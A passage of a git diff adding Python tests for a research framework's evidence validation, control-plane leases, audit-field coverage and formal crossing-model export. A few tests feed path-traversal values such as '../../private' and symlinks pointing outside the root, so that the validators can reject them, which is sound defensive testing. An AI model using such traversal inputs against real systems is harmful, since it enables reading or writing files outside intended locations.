ExperimentCaptureSpecModel.model_validate(payload) + else: + with pytest.raises(ValidationError, match="media.*output_contract"): + ExperimentCaptureSpecModel.model_validate(payload) + + +@pytest.mark.parametrize("media_type", ["application/json", "application/jsonl"]) +def test_accepted_declaration_has_offer_and_content_proof(media_type: str) -> None: + events = json.loads(EVENT_STREAM_FIXTURE.read_text(encoding="utf-8")) + payload = ( + EVENT_STREAM_FIXTURE.read_bytes() + if media_type == "application/json" + else b"\n".join(json.dumps(event).encode() for event in events) + ) + task, run, spec, record, _ = _evidence_bundle(payload, media_type=media_type) + offer = _offer(media_types=frozenset({media_type})) + assert media_type in offer.media_types + proof = validate_experiment_run_evidence( + task, + run, + capture_specs={spec.capture_spec_id: spec}, + evidence_records={record.evidence_record_id: record}, + artifact_readers={run.evidence_artifacts[0].artifact_id: io.BytesIO(payload)}, + ) + assert proof.bindings + + +def test_unknown_sdl_output_contract_is_rejected_at_authoring() -> None: + scenario = _capture_scenario() + payload = scenario.evidence_requirements["attacker-action-log"].model_dump(mode="json") + payload["output_contract"] = "unknown-output-contract-v1" + requirement_model = type(scenario.evidence_requirements["attacker-action-log"]) + with pytest.raises(ValidationError, match="output_contract"): + requirement_model.model_validate(payload) + + +def test_sdl_object_contract_rejects_json_lines_at_authoring() -> None: + scenario = _capture_scenario(output_contract="experiment-evidence-record-v1") + payload = scenario.evidence_requirements["attacker-action-log"].model_dump(mode="json") + payload["media_types"] = ["application/jsonl"] + requirement_model = type(scenario.evidence_requirements["attacker-action-log"]) + with pytest.raises(ValidationError, match="media.*output_contract"): + requirement_model.model_validate(payload) diff --git a/implementations/python/tests/test_issue_802_participant_control_migration.py b/implementations/python/tests/test_issue_802_participant_control_migration.py index 164d4ca28..08bc0d79f 100644 --- a/implementations/python/tests/test_issue_802_participant_control_migration.py +++ b/implementations/python/tests/test_issue_802_participant_control_migration.py @@ -286,7 +286,9 @@ def test_runtime_snapshot_fixture_preserves_incumbent_history_without_claim_prom RuntimeSnapshotEnvelopeModel.model_validate(before) RuntimeSnapshotEnvelopeModel.model_validate(after) (tmp_path / "snapshot.json").write_text(json.dumps(before), encoding="utf-8") - legacy_snapshot = LocalControlPlaneStore(tmp_path).load_snapshot() + store = LocalControlPlaneStore(tmp_path) + lease = store.admit_runtime(target_scope="target:stub", run_scope="run:default") + legacy_snapshot = store.load_snapshot() backups = list(tmp_path.glob("legacy-json-backup-*/snapshot.json")) assert len(backups) == 1 assert json.loads(backups[0].read_text(encoding="utf-8")) == before @@ -298,6 +300,8 @@ def test_runtime_snapshot_fixture_preserves_incumbent_history_without_claim_prom assert legacy_snapshot.participant_behavior_history == before["participant_behavior_history"] assert after["participant_behavior_history"] == before["participant_behavior_history"] assert "policy-noninterference" not in json.dumps(after) + store.close() + lease.close() def test_backend_manifest_fixture_pair_uses_existing_feature_strength_adapter() -> None: diff --git a/implementations/python/tests/test_issue_898_participant_execution_control.py b/implementations/python/tests/test_issue_898_participant_execution_control.py index bc2996e4e..db0ed0200 100644 --- a/implementations/python/tests/test_issue_898_participant_execution_control.py +++ b/implementations/python/tests/test_issue_898_participant_execution_control.py @@ -643,7 +643,7 @@ def _two_green_participant_scenario(*, max_in_flight: int = 2): } payload["agents"]["participant-agent-2"] = { **payload["agents"]["participant-agent"], - "entity": "enterprise-participant-2", + "affiliations": ["enterprise-participant-2"], "description": "Second ordinary green participant.", } specification = payload["behavior_specifications"]["participant-behavior"] @@ -776,6 +776,7 @@ def test_control_plane_exposes_authenticated_generation_bound_execution_control( initial_snapshot = RuntimeSnapshot(participant_execution_services={scope: _service_state().model_dump(mode="json")}) target = replace( create_stub_target(), + manifest=_autonomous_manifest(_compiled()[0]), participant_runtime=_NativeParticipantRuntime(), ) control_plane = RuntimeControlPlane(target, initial_snapshot=initial_snapshot) @@ -811,7 +812,7 @@ def test_control_plane_exposes_authenticated_generation_bound_execution_control( ) status = client.get( f"/operations/{started.json()['operation_id']}", - headers=auditor_headers, + headers=backend_headers, ) assert unauthenticated.status_code == 401 @@ -840,6 +841,7 @@ def control_execution(self, request, snapshot): snapshot = RuntimeSnapshot(participant_execution_services={scope: _service_state().model_dump(mode="json")}) target = replace( create_stub_target(), + manifest=_autonomous_manifest(_compiled()[0]), participant_runtime=_SyntheticControlRuntime(), ) control_plane = RuntimeControlPlane(target, initial_snapshot=snapshot) diff --git a/implementations/python/tests/test_issue_899_participant_resource_budgets.py b/implementations/python/tests/test_issue_899_participant_resource_budgets.py index 6160f7193..e1cfa4574 100644 --- a/implementations/python/tests/test_issue_899_participant_resource_budgets.py +++ b/implementations/python/tests/test_issue_899_participant_resource_budgets.py @@ -759,6 +759,7 @@ def test_runtime_reserve_commit_throttle_and_idempotency_are_generation_fenced( assert state.evidence_refs == ("evidence.resource-meter.action-1",) store = LocalControlPlaneStore(tmp_path / "control-plane") + lease = store.admit_runtime(target_scope="target:stub", run_scope="run:default") store.save_snapshot( committed.snapshot, expected_revision=store.load_snapshot_state().revision, @@ -766,6 +767,8 @@ def test_runtime_reserve_commit_throttle_and_idempotency_are_generation_fenced( restored = store.load_snapshot() assert restored.participant_resource_budget_states == (committed.snapshot.participant_resource_budget_states) assert restored.participant_resource_budget_events == (committed.snapshot.participant_resource_budget_events) + store.close() + lease.close() stale = reserve_participant_resources( restored, diff --git a/implementations/python/tests/test_issue_959_audit_coverage.py b/implementations/python/tests/test_issue_959_audit_coverage.py new file mode 100644 index 000000000..ff19ed4ec --- /dev/null +++ b/implementations/python/tests/test_issue_959_audit_coverage.py @@ -0,0 +1,105 @@ +"""Audit coverage follows the real runtime graph; it is not semantic approval.""" + +from __future__ import annotations + +import inspect +import re +from pathlib import Path +from typing import get_args + +import pytest +from pydantic import BaseModel +from raes._runtime_service_family_registry import RUNTIME_SERVICE_FAMILIES +from raes.runtime_configuration import RuntimeConfiguration +from raes.runtime_service_units import ServiceManagerUnit + +ROOT = Path(__file__).resolve().parents[3] +LEDGER = ROOT / "docs/research/language-extensibility/product-semantics-fields.md" +CATEGORIES = frozenset("PCKBANROD") + + +def _types(annotation): + yield annotation + for child in get_args(annotation): + yield from _types(child) + + +def _models(): + pending = [ServiceManagerUnit] + for family in RUNTIME_SERVICE_FAMILIES: + pending.extend(_types(RuntimeConfiguration.model_fields[family.collection_name].annotation)) + found = {} + while pending: + model = pending.pop() + if not isinstance(model, type) or not issubclass(model, BaseModel): + continue + if model.__name__ in found: + assert found[model.__name__] is model, "ambiguous audit model name" + continue + found[model.__name__] = model + for field in model.model_fields.values(): + pending.extend(_types(field.annotation)) + return found + + +def _rows(text): + rows = {} + for line in text.splitlines(): + if not line.startswith("| `"): + continue + _, name, source, assignments, _ = line.split("|") + name = name.strip().strip("`") + assert name not in rows, f"duplicate audit model: {name}" + link = re.fullmatch(r"\[[^]]+\]\(([^)]+)\)", source.strip()) + assert link is not None, f"missing model source: {name}" + fields = {} + for group in assignments.strip().split("; "): + category, names = group.split(": ", 1) + assert category in CATEGORIES, f"unknown audit category: {category}" + for token in names.split(", "): + assert re.fullmatch(r"`[a-z_][a-z_0-9]*`", token), token + field = token.strip("`") + assert field not in fields, f"duplicate audit field: {name}.{field}" + fields[field] = category + rows[name] = (link.group(1), fields) + return rows + + +def _check_coverage(rows, models): + assert rows.keys() == models.keys(), "runtime audit model coverage drift" + for name, model in models.items(): + source, fields = rows[name] + assert fields.keys() == model.model_fields.keys(), f"runtime audit field coverage drift: {name}" + assert (LEDGER.parent / source).resolve() == Path(inspect.getfile(model)), name + + +def test_audit_classifies_every_reachable_runtime_field_once(): + assert LEDGER.is_file(), "runtime semantic audit field ledger is missing" + _check_coverage(_rows(LEDGER.read_text(encoding="utf-8")), _models()) + + +@pytest.mark.parametrize("mutation", ["missing_model", "missing_field", "extra_field", "wrong_source"]) +def test_audit_coverage_rejects_incomplete_or_stale_records(mutation): + rows = _rows(LEDGER.read_text(encoding="utf-8")) + model = "RuntimePlatformApplication" + source, fields = rows[model] + if mutation == "missing_model": + del rows[model] + elif mutation == "missing_field": + del fields["capabilities"] + elif mutation == "extra_field": + fields["unreviewed_field"] = "C" + else: + rows[model] = ("../../../specs/sdl/runtime-inventory.md", fields) + models = _models() + with pytest.raises(AssertionError): + _check_coverage(rows, models) + + +@pytest.mark.parametrize( + "assignment", + ["P: `field`; C: `field`", "X: `field`", "P: field"], +) +def test_audit_rows_reject_ambiguous_classification(assignment): + with pytest.raises(AssertionError): + _rows(f"| `Model` | [source](source.py) | {assignment} |") diff --git a/implementations/python/tests/test_issue_964_participant_opacity_runtime.py b/implementations/python/tests/test_issue_964_participant_opacity_runtime.py index 409091683..a73a9024c 100644 --- a/implementations/python/tests/test_issue_964_participant_opacity_runtime.py +++ b/implementations/python/tests/test_issue_964_participant_opacity_runtime.py @@ -541,7 +541,7 @@ def test_exact_retry_reuses_opacity_decision_and_changed_binding_conflicts() -> "enforcement_rule_digest": canonical_json_digest({"rule": "changed"}), } ) - with pytest.raises(ValueError, match="different semantics"): + with pytest.raises(ValueError, match="conflicts with the original request"): admit(plane, idempotency_key="opacity-retry") diff --git a/implementations/python/tests/test_issue_971_crossing_export.py b/implementations/python/tests/test_issue_971_crossing_export.py new file mode 100644 index 000000000..2b13928e4 --- /dev/null +++ b/implementations/python/tests/test_issue_971_crossing_export.py @@ -0,0 +1,178 @@ +"""Exporter ingress, independence, drift and complete publication.""" + +import hashlib +import json +import shutil + +import pytest +from crossing_model_fixtures import ROOT, profile_payload +from implementations.formal.participant_crossing import abstract, concrete, export + + +def workspace(tmp_path): + for name in export.SOURCE_PATHS: + destination = tmp_path / name + destination.parent.mkdir(parents=True, exist_ok=True) + shutil.copyfile(ROOT / name, destination) + payload = profile_payload() + for carrier in (payload["parameters"]["left"], payload["parameters"]["right"]): + carrier["source_digest"] = ( + "sha256:" + hashlib.sha256((tmp_path / carrier["source_path"]).read_bytes()).hexdigest() + ) + for source in payload["source_refs"]: + source["source_digest"] = "sha256:" + hashlib.sha256((tmp_path / source["source_ref"]).read_bytes()).hexdigest() + path = tmp_path / export.PROFILE_PATH + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(json.dumps(payload)) + return tmp_path + + +def test_export_readback_and_counts(tmp_path): + root = workspace(tmp_path) + bundle = export.build_bundle(root) + manifest = json.loads(bundle["manifest.json"]) + for name, module in (("abstract", abstract), ("concrete", concrete)): + initial, states, edges = export.parse_aut(bundle[f"{name}.aut"]) + graph = module.build() + assert initial == 0 + assert states == len(graph.states) + assert len(edges) == len(graph.edges) + assert manifest["models"][name]["states"] == states + assert manifest["models"][name]["transitions"] == len(edges) + assert manifest["models"][name]["initial_states"] == 1 + assert ( + manifest["artifact_digests"][f"{name}.aut"] == "sha256:" + hashlib.sha256(bundle[f"{name}.aut"]).hexdigest() + ) + state_map = json.loads(bundle[f"{name}.json"]) + assert len(state_map["states"]) == states + assert len(state_map["semantic_edges"]) == len(edges) + assert manifest["domain_counts"]["input_class"] == 5 + assert manifest["domain_counts"]["history_head"] == 4 + assert manifest["equivalence_result"] == "not-established" + assert export.build_bundle(root) == bundle + export.publish(root) + export.check(root) + export.publish(root) # identical publication is idempotent + + +@pytest.mark.parametrize("drift", ["source", "profile", "artifact", "counts"]) +def test_drift_fails_without_replacing_published_bundle(tmp_path, drift): + root = workspace(tmp_path) + export.publish(root) + output = root / export.OUTPUT_PATH + if drift == "source": + path = root / "implementations/formal/participant_crossing/abstract.py" + path.write_bytes(path.read_bytes() + b"\n# source drift\n") + elif drift == "profile": + path = root / export.PROFILE_PATH + data = json.loads(path.read_bytes()) + data["limitations"] = ["Changed interpretation"] + path.write_text(json.dumps(data)) + elif drift == "artifact": + (output / "abstract.aut").write_bytes(b"des (0, 0, 1)\n") + else: + data = json.loads((output / "manifest.json").read_bytes()) + data["models"]["abstract"]["states"] = 1 + (output / "manifest.json").write_text(json.dumps(data)) + before = {path.name: path.read_bytes() for path in output.iterdir()} + with pytest.raises(ValueError, match="drift"): + export.check(root) + with pytest.raises(ValueError, match="drift"): + export.publish(root) + assert {path.name: path.read_bytes() for path in output.iterdir()} == before + + +def test_shared_transition_authority_is_rejected(tmp_path, monkeypatch): + root = workspace(tmp_path) + monkeypatch.setattr(concrete, "successors", abstract.successors) + with pytest.raises(ValueError, match="independent"): + export.build_bundle(root) + + +def test_rebound_source_cannot_describe_different_executing_code(tmp_path): + root = workspace(tmp_path) + path = root / "implementations/formal/participant_crossing/abstract.py" + path.write_bytes(path.read_bytes() + b"\n# different source identity\n") + profile_path = root / export.PROFILE_PATH + payload = json.loads(profile_path.read_bytes()) + payload["parameters"]["left"]["source_digest"] = export.digest(path.read_bytes()) + for source in payload["source_refs"]: + if source["source_ref"] == path.relative_to(root).as_posix(): + source["source_digest"] = export.digest(path.read_bytes()) + profile_path.write_text(json.dumps(payload)) + with pytest.raises(ValueError, match="executing source"): + export.publish(root) + assert not (root / export.OUTPUT_PATH).exists() + + +@pytest.mark.parametrize( + "value", + [ + b'des (0, 1, 1)\n(0,"tau",0)\n', + b"des (0, 0, 0)\n", + b'des (0, 1, 1)\n(0,"crossing.request",1)\n', + b'des (0, 2, 1)\n(0,"crossing.request",0)\n(0,"crossing.request",0)\n', + ], +) +def test_invalid_aut_is_rejected(value): + with pytest.raises(ValueError): + export.parse_aut(value) + + +def test_failed_generation_publishes_nothing(tmp_path, monkeypatch): + root = workspace(tmp_path) + + def exhausted(): + raise ValueError("resource limit exceeded") + + monkeypatch.setattr(concrete, "build", exhausted) + with pytest.raises(ValueError): + export.publish(root) + assert not (root / export.OUTPUT_PATH).exists() + + +def test_truncated_graph_is_rejected(tmp_path, monkeypatch): + from dataclasses import replace + + root = workspace(tmp_path) + graph = abstract.build() + monkeypatch.setattr(abstract, "build", lambda: replace(graph, edges=graph.edges[:-1])) + with pytest.raises(ValueError, match="closure"): + export.publish(root) + assert not (root / export.OUTPUT_PATH).exists() + + +def test_symlink_input_and_output_are_rejected(tmp_path): + root = workspace(tmp_path / "root") + path = root / export.PROFILE_PATH + path.unlink() + path.symlink_to(tmp_path / "unread-target") + with pytest.raises(ValueError): + export.build_bundle(root) + + +def test_published_repository_bundle_matches_sources(): + export.check(ROOT) + + +def test_symlink_output_cannot_publish_outside_root(tmp_path): + root = workspace(tmp_path / "root") + outside = tmp_path / "outside" + outside.mkdir() + target = root / export.OUTPUT_PATH + target.parent.mkdir(parents=True, exist_ok=True) + target.symlink_to(outside, target_is_directory=True) + with pytest.raises(ValueError): + export.publish(root) + assert list(outside.iterdir()) == [] + + +def test_cli_failure_does_not_echo_rejected_values(monkeypatch, capsys): + from implementations.formal.participant_crossing import __main__ + + def fail(_root): + raise ValueError("synthetic-private-value") + + monkeypatch.setattr(export, "check", fail) + assert __main__.main([]) == 1 + assert capsys.readouterr().err == "participant-crossing model export failed validation\n" diff --git a/implementations/python/tests/test_issue_971_crossing_models.py b/implementations/python/tests/test_issue_971_crossing_models.py new file mode 100644 index 000000000..9062645d2 --- /dev/null +++ b/implementations/python/tests/test_issue_971_crossing_models.py @@ -0,0 +1,108 @@ +"""Complete single-operation crossing models, independently constructed.""" + +from dataclasses import replace + +import pytest +from implementations.formal.participant_crossing import abstract, concrete + + +def finish(module, state): + labels = [] + visited = set() + while state.phase != "terminal": + assert state not in visited, "crossing must make finite progress" + visited.add(state) + edges = module.successors(state) + assert len(edges) == 1 + label, state = edges[0] + labels.append(label) + return labels, state + + +@pytest.mark.parametrize("module", [abstract, concrete]) +@pytest.mark.parametrize("cut", ["p0", "p1"]) +@pytest.mark.parametrize("input_class", ["plain", "transform", "declassify", "unsupported", "forbidden"]) +def test_policy_sequences_and_replay(module, cut, input_class): + start = replace(module.INITIAL, cut=cut) + requests = [(label, target) for label, target in module.successors(start) if label == "crossing.request"] + offered = next(target for _, target in requests if target.intent[1] == input_class) + labels, terminal = finish(module, offered) + visible = [label for label in labels if not label.startswith("internal.")] + if input_class == "unsupported": + expected = ["crossing.decision.unsupported"] + elif input_class == "forbidden" or (input_class == "declassify" and cut == "p0"): + expected = ["crossing.decision.deny"] + else: + expected = ["crossing.decision.permit"] + if input_class != "plain": + expected.append(f"crossing.{input_class}") + expected.extend(["crossing.delivery", "crossing.observation"]) + assert visible == expected + assert terminal.last == ("request-0", cut, terminal.decision) + replay = next(target for label, target in module.successors(terminal) if label == "crossing.request") + replay_labels, repeated = finish(module, replay) + assert [label for label in replay_labels if not label.startswith("internal.")] == expected + assert repeated.last == terminal.last + if module is concrete: + assert terminal.head == repeated.head == "h1" + assert "internal.atomic-commit" not in replay_labels + if cut == "p0": + advanced = next(target for label, target in module.successors(terminal) if label == "policy.cut.advance") + stale = next(target for label, target in module.successors(advanced) if label == "crossing.request") + rejected_labels, rejected = finish(module, stale) + assert [label for label in rejected_labels if not label.startswith("internal.")] == ["crossing.replay.reject"] + assert rejected.last == terminal.last + if module is concrete: + assert rejected.head == terminal.head + + +@pytest.mark.parametrize("module", [abstract, concrete]) +def test_exhaustive_reachable_closure(module): + graph = module.build() + assert graph.states[graph.initial] == module.INITIAL + assert len(graph.states) == len(set(graph.states)) + index = {state: i for i, state in enumerate(graph.states)} + expected = { + (index[state], label, index[target]) for state in graph.states for label, target in module.successors(state) + } + assert set(graph.edges) == expected + reachable = {graph.initial} + while True: + expanded = reachable | {target for source, _, target in graph.edges if source in reachable} + if expanded == reachable: + break + reachable = expanded + assert reachable == set(range(len(graph.states))) + assert all(module.successors(state) for state in graph.states) + assert module.build() == graph + + +def test_atomic_refusal_and_hidden_progress(): + graph = concrete.build() + for source, label, target in graph.edges: + before, after = graph.states[source], graph.states[target] + if label.startswith("internal."): + assert concrete.internal_rank(before) > concrete.internal_rank(after) + if before.head != after.head: + assert label == "internal.atomic-commit" + assert before.head == "h0" + assert after.head == "h1" + assert before.last is None + assert after.last is not None + if before.phase == "preparing-record" and before.intent[3] == "fresh": + assert before.head == "h0" + assert before.last is None + + +@pytest.mark.parametrize("module", [abstract, concrete]) +def test_resource_limit_fails_instead_of_returning_partial_graph(module): + with pytest.raises(ValueError, match="resource limit"): + module.build(max_states=1) + + +@pytest.mark.parametrize("module", [abstract, concrete]) +def test_transition_enumeration_order_does_not_change_export(module, monkeypatch): + expected = module.build() + original = module.successors + monkeypatch.setattr(module, "successors", lambda state: list(reversed(original(state)))) + assert module.build() == expected diff --git a/implementations/python/tests/test_issue_971_crossing_profile.py b/implementations/python/tests/test_issue_971_crossing_profile.py new file mode 100644 index 000000000..da50934e2 --- /dev/null +++ b/implementations/python/tests/test_issue_971_crossing_profile.py @@ -0,0 +1,202 @@ +"""Admission of closed binary profiles and preservation of unary profiles.""" + +from copy import deepcopy + +import pytest +from crossing_model_fixtures import profile_payload +from raes_contracts.behavioral_relation_profiles import BehavioralRelationProfileModel +from raes_contracts.behavioral_relations import ( + load_behavioral_relation_catalog_revision, + validate_behavioral_claim_binding, +) +from raes_contracts.contracts.base import BehavioralClaimBindingModel + + +def test_admit_complete_profile(): + payload = profile_payload() + profile = BehavioralRelationProfileModel.model_validate(payload) + assert profile.model_dump(mode="json") == payload + + +@pytest.mark.parametrize( + "name,valid", + [ + ("valid/participant-crossing.json", True), + ("invalid/incomplete-crossing-domain.json", False), + ("invalid/overlapping-crossing-labels.json", False), + ("invalid/shared-crossing-authority.json", False), + ], +) +def test_published_crossing_fixtures(name, valid): + import json + + from crossing_model_fixtures import ROOT + from raes_conformance.conformance import _fixture_case_diagnostics + + payload = json.loads((ROOT / "contracts/fixtures/profiles/behavioral-relation-profile-v1" / name).read_bytes()) + diagnostics = _fixture_case_diagnostics("behavioral-relation-profile-v1", payload) + assert (not diagnostics) == valid + + +def test_profile_loader_rejects_symlink(tmp_path): + import json + + from raes_contracts.behavioral_relation_profiles import load_behavioral_relation_profile_from_path + + target = tmp_path / "profile.json" + target.write_text(json.dumps(profile_payload())) + link = tmp_path / "link.json" + link.symlink_to(target) + with pytest.raises(ValueError, match="invalid"): + load_behavioral_relation_profile_from_path("participant-crossing-dpbb-finite-v1", link) + + +@pytest.mark.parametrize( + "mutation", + [ + "missing-domain", + "truncated-inputs", + "sample", + "incomplete", + "duplicate-visible", + "overlap", + "native-tau", + "same-authority", + "same-source", + "unsafe-path", + "unsafe-id", + "long-id", + "bool-ordinal", + "wrong-left", + "wrong-relation", + "wrong-projection", + "wrong-revision", + ], +) +def test_reject_incomplete_or_unsafe_profile(mutation): + payload = deepcopy(profile_payload()) + params = payload["parameters"] + if mutation == "missing-domain": + del params["domains"]["audience"] + elif mutation == "truncated-inputs": + params["domains"]["input_class"].pop() + elif mutation == "sample": + params["depth_or_sample_bound"] = 2 + elif mutation == "incomplete": + params["complete_carrier"] = False + elif mutation == "duplicate-visible": + params["visible_labels"].append("crossing.request") + elif mutation == "overlap": + params["hidden_labels"][0] = "crossing.request" + elif mutation == "native-tau": + params["visible_labels"][0] = "tau" + elif mutation == "same-authority": + params["right"] = deepcopy(params["left"]) + elif mutation == "same-source": + params["right"]["source_digest"] = params["left"]["source_digest"] + elif mutation == "unsafe-path": + params["left"]["source_path"] = "../../private" + elif mutation in {"unsafe-id", "long-id"}: + params["left"]["model_id"] = "../unsafe" if mutation == "unsafe-id" else "x" * 500 + elif mutation == "bool-ordinal": + params["left"]["initial_state_ordinal"] = False + elif mutation == "wrong-left": + payload["left_carrier_ref"] = "different-carrier" + elif mutation == "wrong-relation": + payload["relation_id"] = "participant-predicate-opacity" + elif mutation == "wrong-projection": + payload["observation_projection_revision"] = "rev2" + else: + payload["profile_revision"] = "rev1" + with pytest.raises(ValueError): + BehavioralRelationProfileModel.model_validate(payload) + + +def crossing_binding(profile): + return BehavioralClaimBindingModel( + taxonomy_id=profile.taxonomy_id, + taxonomy_revision=profile.taxonomy_revision, + relation_id=profile.relation_id, + subject="Synthetic binding validation; no equivalence result.", + left_carrier_ref=profile.left_carrier_ref, + right_carrier_ref=profile.parameters.right.model_id, + observation_projection_ref=profile.observation_projection_ref, + observation_projection_revision=profile.observation_projection_revision, + relation_parameter_profile_ref=profile.profile_id, + relation_parameter_profile_revision=profile.profile_revision, + quantifier_scope="finite-cases", + evidence_scope="structural", + assurance_axis="definition", + evidence_boundary="Synthetic contract fixture only.", + assurance_status="defined", + limitations=["No comparison executed."], + explicit_non_claims=["No equivalence result."], + ) + + +def test_binary_binding_checks_both_carriers(): + profile = BehavioralRelationProfileModel.model_validate(profile_payload()) + binding = crossing_binding(profile) + catalog = load_behavioral_relation_catalog_revision("rev8") + validate_behavioral_claim_binding(binding, catalog=catalog, profile=profile) + wrong_binding = binding.model_copy(update={"right_carrier_ref": "wrong"}) + with pytest.raises(ValueError, match="right carrier"): + validate_behavioral_claim_binding(wrong_binding, catalog=catalog, profile=profile) + + +def test_opacity_consumers_reject_binary_profile_before_accessing_parameters(): + from types import SimpleNamespace + + from raes_contracts.participant_opacity_runtime import validate_participant_opacity_runtime_enforcement + from raes_processor.participant_opacity import ParticipantOpacityOperationalError, _model_check_admission, _service + from test_issue_964_participant_opacity_runtime import _binding, _support + + profile = BehavioralRelationProfileModel.model_validate(profile_payload()) + request = SimpleNamespace(analysis_profile=_service.ANALYSIS_PROFILE, profile_id="participant-opacity-baseline-v1") + with pytest.raises(ParticipantOpacityOperationalError, match="opacity parameter profile"): + _service._validate_profile_admission(request, profile) + catalog = load_behavioral_relation_catalog_revision("rev8") + request.analysis_profile = _model_check_admission.ANALYSIS_PROFILE + from raes_contracts.canonical import canonical_json_digest + + request.catalog_digest = canonical_json_digest(catalog.model_dump(mode="json")) + with pytest.raises(ParticipantOpacityOperationalError, match="opacity parameter profile"): + _model_check_admission.validate_admission(request, profile, catalog) + binding, support = _binding(), _support() + with pytest.raises(ValueError, match="profile"): + validate_participant_opacity_runtime_enforcement( + binding, + support=support, + participant_address="participant-0", + audience_scope_ref="audience-0", + profile=profile, + ) + + +@pytest.mark.parametrize("consumer", ["analysis", "model-check"]) +def test_opacity_rejects_crossing_profile_with_matching_claim_and_coordinates(consumer): + from types import SimpleNamespace + + from raes_contracts.canonical import canonical_json_digest + from raes_processor.participant_opacity import ParticipantOpacityOperationalError, _model_check_admission, _service + + profile = BehavioralRelationProfileModel.model_validate(profile_payload()) + catalog = load_behavioral_relation_catalog_revision("rev8") + request = SimpleNamespace( + analysis_profile=_service.ANALYSIS_PROFILE + if consumer == "analysis" + else _model_check_admission.ANALYSIS_PROFILE, + profile_id=profile.profile_id, + profile_revision=profile.profile_revision, + profile_digest=profile.canonical_digest, + claim=crossing_binding(profile), + catalog_digest=canonical_json_digest(catalog.model_dump(mode="json")), + assumptions=None, + declared_counts=None, + ) + if consumer == "analysis": + with pytest.raises(ParticipantOpacityOperationalError, match="opacity parameter profile"): + _service._validate_profile_admission(request, profile) + else: + with pytest.raises(ParticipantOpacityOperationalError, match="opacity parameter profile"): + _model_check_admission.validate_admission(request, profile, catalog) diff --git a/implementations/python/tests/test_issue_985_runtime_observation_contract.py b/implementations/python/tests/test_issue_985_runtime_observation_contract.py index 2678e50e8..bda065caf 100644 --- a/implementations/python/tests/test_issue_985_runtime_observation_contract.py +++ b/implementations/python/tests/test_issue_985_runtime_observation_contract.py @@ -196,7 +196,7 @@ def test_open_observation_must_satisfy_the_registered_closed_contract() -> None: ), ( "service-listeners", - [{"service_listener_id": "http", "protocol": "tcp"}], + [{"service_listener_id": "http", "protocol": "tcp", "unknown": "rejected"}], ), ], ) diff --git a/implementations/python/tests/test_issue_989_versioned_evidence.py b/implementations/python/tests/test_issue_989_versioned_evidence.py index 2ce4a42df..a2e4faa46 100644 --- a/implementations/python/tests/test_issue_989_versioned_evidence.py +++ b/implementations/python/tests/test_issue_989_versioned_evidence.py @@ -35,7 +35,8 @@ def test_historical_evidence_rejects_malformed_shapes_even_with_rebound_digest(c _historical_production_replay(payload, observation, mode) -def test_historical_shape_contract_cannot_be_replaced_with_an_open_schema(tmp_path): +@pytest.mark.parametrize("version", [1, 2]) +def test_historical_shape_contract_cannot_be_replaced_with_an_open_schema(tmp_path, version): import json import shutil @@ -43,15 +44,18 @@ def test_historical_shape_contract_cannot_be_replaced_with_an_open_schema(tmp_pa relative = Path("docs/research/formal-semantic-validation/archive-contracts") shutil.copytree(ROOT / relative, tmp_path / relative) - (tmp_path / relative / "satisfiability-evidence-shape-v2.json").write_text("{}\n") + (tmp_path / relative / f"satisfiability-evidence-shape-v{version}.json").write_text("{}\n") payload = json.loads( - (ROOT / "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v3.json").read_text() + ( + ROOT / f"docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v{version + 2}.json" + ).read_text() ) with pytest.raises(ValueError, match="archival shape digest mismatch"): validate_archival_evidence_shape(tmp_path, payload, "satisfiability") -def test_historical_shape_manifest_cannot_authorize_a_replacement_schema(tmp_path): +@pytest.mark.parametrize("version", [1, 2]) +def test_historical_shape_manifest_cannot_authorize_a_replacement_schema(tmp_path, version): import hashlib import json import shutil @@ -60,9 +64,9 @@ def test_historical_shape_manifest_cannot_authorize_a_replacement_schema(tmp_pat relative = Path("docs/research/formal-semantic-validation/archive-contracts") shutil.copytree(ROOT / relative, tmp_path / relative) - schema_path = tmp_path / relative / "satisfiability-evidence-shape-v2.json" + schema_path = tmp_path / relative / f"satisfiability-evidence-shape-v{version}.json" schema_path.write_text("{}\n") - manifest_path = tmp_path / relative / "manifest-v2.json" + manifest_path = tmp_path / relative / f"manifest-v{version}.json" manifest = json.loads(manifest_path.read_text()) manifest["contracts"][0]["sha256"] = hashlib.sha256(schema_path.read_bytes()).hexdigest() manifest_path.write_text(json.dumps(manifest)) @@ -180,7 +184,27 @@ def test_old_output_digest_pairs_do_not_substitute_for_replay(): assert not _replay_observation_matches(old, changed) -@pytest.mark.parametrize("revision", ["3.0.0", "16.0.0"]) +@pytest.mark.parametrize( + "revision", + [ + "3.0.0", + "15.0.0", + "16.0.0", + "17.0.0", + "18.0.0", + "19.0.0", + "20.0.0", + "21.0.0", + "22.0.0", + "23.0.0", + "24.0.0", + "25.0.0", + "26.0.0", + "27.0.0", + "28.0.0", + "29.0.0", + ], +) def test_historical_integrated_release_does_not_execute_current_code(monkeypatch, revision): from raes_contracts.exploit_path import ExploitPathAnalysisEvidenceModel from raes_contracts.satisfiability import ScenarioSatisfiabilityEvidenceModel @@ -199,6 +223,58 @@ def forbidden(*args, **kwargs): assert _releases.validate_release_bundle(ROOT, release) == [] +def _stub_release(revision: str, *, protocol_revision: str = "2.0.0"): + from tools.formal_semantic_validation._types import EvidenceRelease + + return EvidenceRelease( + manifest_path=f"docs/research/formal-semantic-validation/bundles/retest-{revision}.json", + manifest={"revision": revision}, + protocol={"revision": protocol_revision}, + corpus={}, + snapshot={}, + analysis={}, + ) + + +@pytest.mark.parametrize( + ("releases", "message"), + [ + pytest.param([], "selects no v2 retest release", id="no-release"), + pytest.param( + [_stub_release("65.0.0"), _stub_release("66.0.0")], + "must be the explicit 67.0.0 retest", + id="stale-current", + ), + pytest.param( + [_stub_release("66.0.0"), _stub_release("68.0.0")], + "must be the explicit 67.0.0 retest", + id="unsupported-future", + ), + pytest.param( + [_stub_release("67.0.0", protocol_revision="1.0.0")], + "must be the explicit 67.0.0 retest", + id="wrong-protocol", + ), + ], +) +def test_current_formal_release_selection_is_explicit(monkeypatch, releases, message): + from tools.formal_semantic_validation import _loading + + monkeypatch.setattr(_loading, "load_release_bundles", lambda _root: releases) + + with pytest.raises(ValueError, match=message): + _loading.load_retest_bundle(ROOT) + + +def test_current_formal_release_selection_returns_the_explicit_retest(monkeypatch): + from tools.formal_semantic_validation import _loading + + current = _stub_release("67.0.0") + monkeypatch.setattr(_loading, "load_release_bundles", lambda _root: [_stub_release("66.0.0"), current]) + + assert _loading.load_retest_bundle(ROOT)[0] is current + + @pytest.mark.integration def 